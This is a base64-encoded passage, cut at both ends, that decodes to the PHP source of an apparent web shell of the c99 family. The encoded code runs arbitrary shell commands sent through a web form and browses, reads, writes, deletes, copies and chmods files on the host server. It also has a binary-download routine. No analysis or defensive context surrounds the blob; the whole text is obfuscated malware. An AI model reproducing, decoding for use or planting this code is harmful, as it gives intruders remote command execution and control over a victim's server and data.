LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQ0KICAgIH0NCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgew0KICAgICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgICAgaWYgKCFmc19tb3ZlX29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogICAgfQ0KICAgIGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICAgIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30NCiAgICAkeCA9ICJscyI7DQogIH0NCn0NCmlmICgkeCA9PSAiY21kIikgew0KICBAY2hkaXIoJGNoZGlyKTsNCiAgaWYgKCFlbXB0eSgkc3VibWl0KSkgew0KICAgIGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPi46IFJlc3VsdCBvZiBDb21tYW5kIEV4ZWN1dGlvbiA6LjwvZGl2PiI7DQogICAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogICAgQGNoZGlyKCRkKTsNCiAgICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZCk7DQogICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgIGlmICgkY21kX3R4dCkgew0KICAgICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsNCiAgICAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDsgfQ0KICAgICAgaWYgKCRtc2llKSB7ICRjb2xzID0gMTEzOyB9DQogICAgICBlbHNlIHsgJGNvbHMgPSAxMTc7fQ0KICAgICAgZWNobyAiPGRpdiBhbGlnbj1sZWZ0PjxwcmU+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3ByZT48L2Rpdj4iOw0KICAgIH0NCiAgICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30NCiAgICBAY2hkaXIoJG9sZGRpcik7DQogIH0NCiAgZWxzZSB7DQogICAgZWNobyAiPGI+Q29tbWFuZCBFeGVjdXRpb248L2I+IjsNCiAgICBpZiAoZW1wdHkoJGNtZF90eHQpKSB7JGNtZF90eHQgPSBUUlVFO30NCiAgfQ0KfQ0KaWYgKCR4ID09ICJscyIpIHsNCiAgaWYgKGNvdW50KCRsc19hcnIpID4gMCkgeyAkbGlzdCA9ICRsc19hcnI7IH0NCiAgZWxzZSB7DQogICAgJGxpc3QgPSBhcnJheSgpOw0KICAgIGlmICgkaCA9IEBvcGVuZGlyKCRkKSkgew0KICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHskbGlzdFtdID0gJGQuJG87fQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgIH0NCiAgfQ0KICBpZiAoY291bnQoJGxpc3QpID09IDApIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz5DYW4ndCBvcGVuIGZvbGRlciAoIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iKSE8L2Rpdj4iO30NCiAgZWxzZSB7DQogICAgJG9iamVjdHMgPSBhcnJheSgpOw0KICAgICR2ZCA9ICJmIjsgDQogICAgaWYgKCR2ZCA9PSAiZiIpIHsNCiAgICAgICRvYmplY3RzWyJoZWFkIl0gPSBhcnJheSgpOw0KICAgICAgJG9iamVjdHNbImZvbGRlcnMiXSA9IGFycmF5KCk7DQogICAgICAkb2JqZWN0c1sibGlua3MiXSA9IGFycmF5KCk7DQogICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5KCk7DQogICAgICBmb3JlYWNoICgkbGlzdCBhcyAkdikgew0KICAgICAgICAkbyA9IGJhc2VuYW1lKCR2KTsNCiAgICAgICAgJHJvdyA9IGFycmF5KCk7DQogICAgICAgIGlmICgkbyA9PSAiLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkNVUkRJUiI7fQ0KICAgICAgICBlbHNlaWYgKCRvID09ICIuLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIlVQRElSIjt9DQogICAgICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgew0KICAgICAgICAgIGlmIChpc19saW5rKCR2KSkgeyR0eXBlID0gIkxJTksiO30NCiAgICAgICAgICBlbHNlIHskdHlwZSA9ICJESVIiO30NCiAgICAgICAgICAkcm93W10gPSAkdjsNCiAgICAgICAgICAkcm93W10gPSAkdHlwZTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHskcm93W10gPSAkdjsgJHJvd1tdID0gZmlsZXNpemUoJHYpO30NCiAgICAgICAgJHJvd1tdID0gZmlsZW10aW1lKCR2KTsNCiAgICAgICAgaWYgKCEkd2luKSB7DQogICAgICAgICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR2KSk7DQogICAgICAgICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCR2KSk7DQogICAgICAgICAgJHJvd1tdID0gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkdikpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCR2KSk7DQogICAgICAgIH0NCiAgICAgICAgJHJvd1tdID0gZmlsZXBlcm1zKCR2KTsNCiAgICAgICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyRvYmplY3RzWyJoZWFkIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JG9iamVjdHNbImxpbmtzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskb2JqZWN0c1siZm9sZGVycyJdW10gPSAkcm93O30NCiAgICAgICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyRvYmplY3RzWyJmaWxlcyJdW10gPSAkcm93O30NCiAgICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICAgICRyb3cgPSBhcnJheSgpOw0KICAgICAgJHJvd1tdID0gIjxiPk5hbWU8L2I+IjsNCiAgICAgICRyb3dbXSA9ICI8Yj5TaXplPC9iPiI7DQogICAgICAkcm93W10gPSAiPGI+RGF0ZSBNb2RpZmllZDwvYj4iOw0KICAgICAgaWYgKCEkd2luKSB7JHJvd1tdID0gIjxiPk93bmVyL0dyb3VwPC9iPiI7fQ0KICAgICAgJHJvd1tdID0gIjxiPlBlcm1zPC9iPiI7DQogICAgICAkcm93W10gPSAiPGI+QWN0aW9uPC9iPiI7DQogICAgICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRzb3J0KTsNCiAgICAgICRzb3J0ID0gJHBhcnNlc29ydFswXS4kcGFyc2Vzb3J0WzFdOw0KICAgICAgJGsgPSAkcGFyc2Vzb3J0WzBdOw0KICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHBhcnNlc29ydFsxXSA9ICJkIjt9DQogICAgICAkeSA9ICIgPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGsuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJkIjoiYSIpLiJcIj4iOw0KICAgICAgJHkgLj0gIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfIi4oJHNvcnRbMV0gPT0gImEiPyJhc2MiOiJkZXNjIikuIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4oJHBhcnNlc29ydFsxXSA9PSAiYSI/IkFzYy4iOiJEZXNjIikuIlwiIGJvcmRlcj1cIjBcIj48L2E+IjsNCiAgICAgICRyb3dbJGtdIC49ICR5Ow0KICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJHJvdyktMTskaSsrKSB7DQogICAgICAgIGlmICgkaSAhPSAkaykgeyRyb3dbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPiIuJHJvd1skaV0uIjwvYT4iO30NCiAgICAgIH0NCiAgICAgICR2ID0gJHBhcnNlc29ydFswXTsNCiAgICAgIHVzb3J0KCRvYmplY3RzWyJmb2xkZXJzIl0sICJ0YWJzb3J0Iik7DQogICAgICB1c29ydCgkb2JqZWN0c1sibGlua3MiXSwgInRhYnNvcnQiKTsNCiAgICAgIHVzb3J0KCRvYmplY3RzWyJmaWxlcyJdLCAidGFic29ydCIpOw0KICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gPT0gImQiKSB7DQogICAgICAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmb2xkZXJzIl0pOw0KICAgICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZpbGVzIl0pOw0KICAgICAgfQ0KICAgICAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkb2JqZWN0c1siaGVhZCJdLCRvYmplY3RzWyJmb2xkZXJzIl0sJG9iamVjdHNbImxpbmtzIl0sJG9iamVjdHNbImZpbGVzIl0pOw0KICAgICAgJHRhYiA9IGFycmF5KCk7DQogICAgICAkdGFiWyJjb2xzIl0gPSBhcnJheSgkcm93KTsNCiAgICAgICR0YWJbImhlYWQiXSA9IGFycmF5KCk7DQogICAgICAkdGFiWyJmb2xkZXJzIl0gPSBhcnJheSgpOw0KICAgICAgJHRhYlsibGlua3MiXSA9IGFycmF5KCk7DQogICAgICAkdGFiWyJmaWxlcyJdID0gYXJyYXkoKTsNCiAgICAgICRpID0gMDsNCiAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRhKSB7DQogICAgICAgICR2ID0gJGFbMF07DQogICAgICAgICRvID0gYmFzZW5hbWUoJHYpOw0KICAgICAgICAkZGlyID0gZGlybmFtZSgkdik7DQogICAgICAgIGlmICgkZGlzcF9mdWxscGF0aCkgeyRkaXNwcGF0aCA9ICR2O30NCiAgICAgICAgZWxzZSB7JGRpc3BwYXRoID0gJG87fQ0KICAgICAgICAkZGlzcHBhdGggPSBzdHIybWluaSgkZGlzcHBhdGgsNjApOw0KICAgICAgICBpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY3V0Il0pKSB7JGRpc3BwYXRoID0gIjxzdHJpa2U+Ii4kZGlzcHBhdGguIjwvc3RyaWtlPiI7fQ0KICAgICAgICBlbHNlaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImNvcHkiXSkpIHskZGlzcHBhdGggPSAiPHU+Ii4kZGlzcHBhdGguIjwvdT4iO30NCiAgICAgICAgZm9yZWFjaCAoJHJlZ3hwX2hpZ2hsaWdodCBhcyAkcikgew0KICAgICAgICAgIGlmIChlcmVnKCRyWzBdLCRvKSkgew0KICAgICAgICAgICAgaWYgKCghaXNfbnVtZXJpYygkclsxXSkpIG9yICgkclsxXSA+IDMpKSB7JHJbMV0gPSAwOyBvYl9jbGVhbigpOyBlY2hvICJXYXJuaW5nISBDb25maWd1cmF0aW9uIGVycm9yIGluIFwkcmVneHBfaGlnaGxpZ2h0WyIuJGsuIl1bMF0gLSB1bmtub3duIGNvbW1hbmQuIjsgY2Fwcml2OGV4aXQoKTt9DQogICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgJHJbMV0gPSByb3VuZCgkclsxXSk7DQogICAgICAgICAgICAgICRpc2RpciA9IGlzX2Rpcigkdik7DQogICAgICAgICAgICAgIGlmICgoJHJbMV0gPT0gMCkgb3IgKCgkclsxXSA9PSAxKSBhbmQgISRpc2Rpcikgb3IgKCgkclsxXSA9PSAyKSBhbmQgISRpc2RpcikpIHsNCiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHJbMl0pKSB7JHJbMl0gPSAiPGI+IjsgJHJbM10gPSAiPC9iPiI7fQ0KICAgICAgICAgICAgICAgICRkaXNwcGF0aCA9ICRyWzJdLiRkaXNwcGF0aC4kclszXTsNCiAgICAgICAgICAgICAgICBpZiAoJHJbNF0pIHticmVhazt9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHVvID0gdXJsZW5jb2RlKCRvKTsNCiAgICAgICAgJHVkID0gdXJsZW5jb2RlKCRkaXIpOw0KICAgICAgICAkdXYgPSB1cmxlbmNvZGUoJHYpOw0KICAgICAgICAkcm93ID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKCRvID09ICIuIikgew0KICAgICAgICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNtYWxsX2RpclwiIGJvcmRlcj1cIjBcIj4mbmJzcDsiLiRvLiI8L2E+IjsNCiAgICAgICAgICAkcm93W10gPSAiQ1VSRElSIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRvID09ICIuLiIpIHsNCiAgICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfbG5rXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIuJG8uIjwvYT4iOw0KICAgICAgICAgICRyb3dbXSA9ICJVUERJUiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmIChpc19kaXIoJHYpKSB7DQogICAgICAgICAgaWYgKGlzX2xpbmsoJHYpKSB7DQogICAgICAgICAgICAkZGlzcHBhdGggLj0gIiA9PiAiLnJlYWRsaW5rKCR2KTsNCiAgICAgICAgICAgICR0eXBlID0gIkxJTksiOw0KICAgICAgICAgICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9sbmtcIiBib3JkZXI9XCIwXCI+Jm5ic3A7WyIuJGRpc3BwYXRoLiJdPC9hPiI7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJHR5cGUgPSAiRElSIjsNCiAgICAgICAgICAgICRyb3dbXSA9ICAiPGEgaHJlZj1cIiIuJHN1cmwuIng9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c21hbGxfZGlyXCIgYm9yZGVyPVwiMFwiPiZuYnNwO1siLiRkaXNwcGF0aC4iXTwvYT4iOw0KICAgICAgICAgIH0NCiAgICAgICAgICAkcm93W10gPSAkdHlwZTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHsNCiAgICAgICAgICAkZXh0ID0gZXhwbG9kZSgiLiIsJG8pOw0KICAgICAgICAgICRjID0gY291bnQoJGV4dCktMTsNCiAgICAgICAgICAkZXh0ID0gJGV4dFskY107DQogICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICAgICAgICAgJHJvd1tdID0gICI8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kZGlzcHBhdGguIjwvYT4iOw0KICAgICAgICAgICRyb3dbXSA9IHZpZXdfc2l6ZSgkYVsxXSk7DQogICAgICAgIH0NCiAgICAgICAgJHJvd1tdID0gZGF0ZSgiZC5tLlkgSDppOnMiLCRhWzJdKTsNCiAgICAgICAgaWYgKCEkd2luKSB7JHJvd1tdID0gJGFbM107fQ0KICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Y2htb2QmZj0iLiR1by4iJmQ9Ii4kdWQuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkdikuIjwvYj48L2E+IjsNCiAgICAgICAgaWYgKCRvID09ICIuIikgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgb25jbGljaz1cImxzX3JldmVyc2VfYWxsKCk7XCI+IjsgJGktLTt9DQogICAgICAgIGVsc2UgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgaWQ9XCJhY3Rib3giLiRpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiPiI7fQ0KICAgICAgICBpZiAoaXNfZGlyKCR2KSkgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1kJmQ9Ii4kdXYuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiLiRjaGVja2JveDt9DQogICAgICAgIGVsc2UgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZmdD1pbmZvJmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZmdD1lZGl0JmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkNoYW5nZVwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIuJHVvLiImZnQ9ZG93bmxvYWQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZG93bmxvYWRcIiBhbHQ9XCJEb3dubG9hZFwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Ii4kY2hlY2tib3g7fQ0KICAgICAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JHRhYlsiaGVhZCJdW10gPSAkcm93O30NCiAgICAgICAgZWxzZWlmIChpc19saW5rKCR2KSkgeyR0YWJbImxpbmtzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskdGFiWyJmb2xkZXJzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JHRhYlsiZmlsZXMiXVtdID0gJHJvdzt9DQogICAgICAgICRpKys7DQogICAgICB9DQogICAgfQ0KICAgICR0YWJsZSA9IGFycmF5X21lcmdlKCR0YWJbImNvbHMiXSwkdGFiWyJoZWFkIl0sJHRhYlsiZm9sZGVycyJdLCR0YWJbImxpbmtzIl0sJHRhYlsiZmlsZXMiXSk7DQogICAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+LT1dICI7DQogICAgaWYgKCFlbXB0eSgkZnhfaW5mb2hlYWQpKSB7IGVjaG8gJGZ4X2luZm9oZWFkOyB9DQogICAgZWxzZSB7IGVjaG8gIkZpbGVzL0ZvbGRlcnMgKCIuY291bnQoJHRhYlsiZmlsZXMiXSkuIiBmaWxlcyBhbmQgIi4oY291bnQoJHRhYlsiZm9sZGVycyJdKStjb3VudCgkdGFiWyJsaW5rcyJdKSkuIiBmb2xkZXJzKSI7IH0NCiAgICBlY2hvICIgWz0tPC9kaXY+XG4iOw0KICAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUIG5hbWU9XCJsc19mb3JtXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1cIiIuJGRzcGFjdC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iLiRkLiI+Ii4NCiAgICAgICAgICI8dGFibGUgY2xhc3M9ZXhwbG9yZXI+IjsNCiAgICBmb3JlYWNoKCR0YWJsZSBhcyAkcm93KSB7DQogICAgICBlY2hvICI8dHI+IjsNCiAgICAgIGZvcmVhY2goJHJvdyBhcyAkdikge2VjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7fQ0KICAgICAgZWNobyAiPC90cj5cclxuIjsNCiAgICB9DQogICAgZWNobyAiPC90YWJsZT4iLg0KICAgICAgICAgIjxzY3JpcHQ+Ii4NCiAgICAgICAgICJmdW5jdGlvbiBsc19zZXRjaGVja2JveGFsbChzdGF0dXMpIHsiLg0KICAgICAgICAgIiB2YXIgaWQgPSAxOyB2YXIgbnVtID0gIi4oY291bnQoJHRhYmxlKS0yKS4iOyIuDQogICAgICAgICAiIHdoaWxlIChpZCA8PSBudW0pIHsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSBzdGF0dXM7IGlkKys7IH0iLg0KICAgICAgICAgIn0iLg0KICAgICAgICAgImZ1bmN0aW9uIGxzX3JldmVyc2VfYWxsKCkgeyIuDQogICAgICAgICAiIHZhciBpZCA9IDE7IHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7Ii4NCiAgICAgICAgICIgd2hpbGUgKGlkIDw9IG51bSkgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZCA9ICFkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZDsgaWQrKzsgfSIuDQogICAgICAgICAifSIuDQogICAgICAgICAiPC9zY3JpcHQ+Ii4NCiAgICAgICAgICI8ZGl2IGFsaWduPVwicmlnaHRcIj4iLg0KICAgICAgICAgIjxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNoZWNrYm94YWxsKHRydWUpO1wiIHZhbHVlPVwiU2VsZWN0IGFsbFwiPiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNoZWNrYm94YWxsKGZhbHNlKTtcIiB2YWx1ZT1cIlVuc2VsZWN0IGFsbFwiPiIuDQogICAgICAgICAiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPiI7DQogICAgaWYgKGNvdW50KGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkc2Vzc19kYXRhWyJjdXQiXSkpID4gMCBhbmQgKCR1c2Vmc2J1ZmYpKSB7DQogICAgICBlY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1hY3RhcmNidWZmIHZhbHVlPVwiUGFjayBidWZmZXIgdG8gYXJjaGl2ZVwiPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJhY3RhcmNidWZmX3BhdGhcIiB2YWx1ZT1cImZ4X2FyY2hpdmVfIi5zdWJzdHIobWQ1KHJhbmQoMSwxMDAwKS5yYW5kKDEsMTAwMCkpLDAsNSkuIi50YXIuZ3pcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1cImFjdHBhc3RlYnVmZlwiIHZhbHVlPVwiUGFzdGVcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1cImFjdGVtcHR5YnVmZlwiIHZhbHVlPVwiRW1wdHkgYnVmZmVyXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICB9DQogICAgZWNobyAiPHNlbGVjdCBuYW1lPXg+PG9wdGlvbiB2YWx1ZT1cIiIuJHguIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWRlbGV0ZSIuKCRkc3BhY3QgPT0gImRlbGV0ZSI/IiBzZWxlY3RlZCI6IiIpLiI+RGVsZXRlPC9vcHRpb24+IjsNCiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWNobW9kIi4oJGRzcGFjdCA9PSAiY2htb2QiPyIgc2VsZWN0ZWQiOiIiKS4iPkNoYW5nZS1tb2RlPC9vcHRpb24+IjsNCiAgICBpZiAoJHVzZWZzYnVmZikgew0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jdXQiLigkZHNwYWN0ID09ICJjdXQiPyIgc2VsZWN0ZWQiOiIiKS4iPkN1dDwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWNvcHkiLigkZHNwYWN0ID09ICJjb3B5Ij8iIHNlbGVjdGVkIjoiIikuIj5Db3B5PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9dW5zZWxlY3QiLigkZHNwYWN0ID09ICJ1bnNlbGVjdCI/IiBzZWxlY3RlZCI6IiIpLiI+VW5zZWxlY3Q8L29wdGlvbj4iOw0KICAgIH0NCiAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJDb25maXJtXCI+PC9kaXY+IjsNCiAgICBlY2hvICI8L2Zvcm0+IjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJ0b29scyIpIA0Kew0KDQp9DQppZiAoJHggPT0gInBocGZzeXMiKSB7DQogIGVjaG8gIjxkaXYgYWxpZ249bGVmdD4iOw0KICAkZnNmdW5jID0gJHBocGZzeXNmdW5jOw0KICBpZiAoJGZzZnVuYz09ImNvcHkiKSB7DQogICAgaWYgKCFjb3B5KCRhcmcxLCAkYXJnMikpIHsgZWNobyAiRmFpbGVkIHRvIGNvcHkgJGFyZzEuLi5cbiI7fQ0KICAgIGVsc2UgeyBlY2hvICI8Yj5TdWNjZXNzITwvYj4gJGFyZzEgY29waWVkIHRvICRhcmcyXG4iOyB9DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0icmVuYW1lIikgew0KICAgIGlmICghcmVuYW1lKCRhcmcxLCAkYXJnMikpIHsgZWNobyAiRmFpbGVkIHRvIHJlbmFtZS9tb3ZlICRhcmcxIVxuIjt9DQogICAgZWxzZSB7IGVjaG8gIjxiPlN1Y2Nlc3MhPC9iPiAkYXJnMSByZW5hbWVkL21vdmVkIHRvICRhcmcyXG4iOyB9DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0iY2htb2QiKSB7DQogICAgaWYgKCFjaG1vZCgkYXJnMSwkYXJnMikpIHsgZWNobyAiRmFpbGVkIHRvIGNobW9kICRhcmcxIVxuIjt9DQogICAgZWxzZSB7IGVjaG8gIjxiPlBlcm0gZm9yICRhcmcxIGNoYW5nZWQgdG8gJGFyZzIhPC9iPlxuIjsgfQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09InJlYWQiKSB7DQogICAgJGhhc2lsID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRhcmcxKTsNCiAgICBlY2hvICI8Yj5GaWxlbmFtZTo8L2I+ICRhcmcxPGJyPiI7DQogICAgZWNobyAiPHRleHRhcmVhIGNvbHM9MTUwIHJvd3M9MjA+IjsNCiAgICBlY2hvICRoYXNpbDsNCiAgICBlY2hvICI8L3RleHRhcmVhPlxuIjsNCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJ3cml0ZSIpIHsNCiAgICBpZihAZmlsZV9wdXRfY29udGVudHMoJGQuJGFyZzEsJGFyZzIpKSB7DQogICAgICBlY2hvICI8Yj5TYXZlZCE8L2I+ICIuJGQuJGFyZzE7DQogICAgfQ0KICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IHdyaXRlIHRvICRhcmcxITwvZGl2PiI7IH0NCiAgfQ0KICBlbHNlaWYgKCRmc2Z1bmM9PSJkb3dubG9hZGJpbiIpIHsNCiAgICAkaGFuZGxlID0gZm9wZW4oJGFyZzEsICJyYiIpOw0KICAgICRjb250ZW50cyA9ICc